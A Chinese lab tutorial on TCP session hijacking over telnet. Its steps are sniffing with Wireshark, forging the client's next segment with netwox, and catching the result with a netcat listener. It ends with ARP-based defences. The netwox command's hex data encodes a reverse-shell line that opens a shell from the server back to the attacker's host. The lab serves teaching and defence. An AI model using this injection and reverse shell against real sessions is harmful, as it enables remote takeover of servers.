TCP劫持攻击
攻击思路
-
hacker需要获取client与server的tcp回话信息(arp攻击等获取流量)。
-
观察server给client的报文信息。
-
hacker根据观察获得的信息构造一个tcp报文,该报文是client给server的下一个报文。
具体报文构造如下:- mac地址换成hacker 。
- 三层的ip地址不变还是client的ip,目标也不变还是server的ip。
- tcp信息根据观察构造,保证他是client给server的下一个报文tcp报文。
实验拓扑
说明:上述拓扑仅仅是为了读者更好的理解实验结构,真实场景中不需要构造,因为三者都使用的linux虚拟机进行操作。
攻击步骤
一、在kali端开启wireshark进行抓包
等待抓取TCP的流量。
注意,在第二步进行后,才会看到流量的通过。
抓取结果如下:
二、client使用telnet登录server
client登录到server端,查看当前路径下的文件。
三、根据步骤一二过程中抓取到的TCP流量,构造TCP数据包
进入kali,使用netwox 40号工具伪造TCP数据报文
Title: Spoof Ip4Tcp packet
Usage: netwox 40 [-c uint32] [-e uint32] [-f|+f] [-g|+g] [-h|+h] [-i uint32] [-j uint32] [-k uint32] [-l ip] [-m ip] [-n ip4opts] [-o port] [-p port] [-q uint32] [-r uint32] [-s|+s] [-t|+t] [-u|+u] [-v|+v] [-w|+w] [-x|+x] [-y|+y] [-z|+z] [-A|+A] [-B|+B] [-C|+C] [-D|+D] [-E uint32] [-F uint32] [-G tcpopts] [-H mixed_data]
Parameters:
-c|--ip4-tos uint32 IP4 tos {0}
-e|--ip4-id uint32 IP4 id (rand if unset) {0}
-f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved
-g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag
-h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag
-i|--ip4-offsetfrag uint32 IP4 offsetfrag {0}
-j|--ip4-ttl uint32 IP4 ttl {0}
-k|--ip4-protocol uint32 IP4 protocol {0}
-l|--ip4-src ip IP4 src {192.168.162.128}
-m|--ip4-dst ip IP4 dst {5.6.7.8}
-n|--ip4-opt ip4opts IPv4 options
-o|--tcp-src port TCP src {1234}
-p|--tcp-dst port TCP dst {80}
-q|--tcp-seqnum uint32 TCP seqnum (rand if unset) {0}
-r|--tcp-acknum uint32 TCP acknum {0}
-s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1
-t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2
-u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3
-v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4
-w|--tcp-cwr|+w|--no-tcp-cwr TCP cwr
-x|--tcp-ece|+x|--no-tcp-ece TCP ece
-y|--tcp-urg|+y|--no-tcp-urg TCP urg
-z|--tcp-ack|+z|--no-tcp-ack TCP ack
-A|--tcp-psh|+A|--no-tcp-psh TCP psh
-B|--tcp-rst|+B|--no-tcp-rst TCP rst
-C|--tcp-syn|+C|--no-tcp-syn TCP syn
-D|--tcp-fin|+D|--no-tcp-fin TCP fin
-E|--tcp-window uint32 TCP window {0}
-F|--tcp-urgptr uint32 TCP urgptr {0}
-G|--tcp-opt tcpopts TCP options
-H|--tcp-data mixed_data mixed data
--help2 display help for advanced parameters
Example: netwox 40
操作命令如下:sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 192.168.162.132 --ip4-dst 192.168.162.131 --tcp-src 42319 --tcp-dst 23 --tcp-seqnum 353757777 --tcp-acknum 2242478244 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3139322E3136382E3136322E3132382F3939393920303E26310d00
其中,data部分为shell命令的16进制描述,意义是利用操作server端主动连接kali。
四、在kali端布置反弹shell
使用工具netcat
nc -l -p 9999 -v
-l为监听模式
-p为监听端口
-v是详细模式
五、发送伪造的TCP报文
查看是否与server建立了连接
可以看到,此时已经建立了连接
防御技术
- 不要把网络安全信任关系建立在IP基础上或者MAC基础上,(RARP同样存在欺骗的问题),理想的关系应该建立在IP+MAC基础上。
- 设置静态的MAC—>IP对应关系表,不要让主机刷新设定好的转换表。
- 停止使用ARP,将需要的ARP作为永久条目保存在对应表中。
- 建立防火墙来连续监控网络。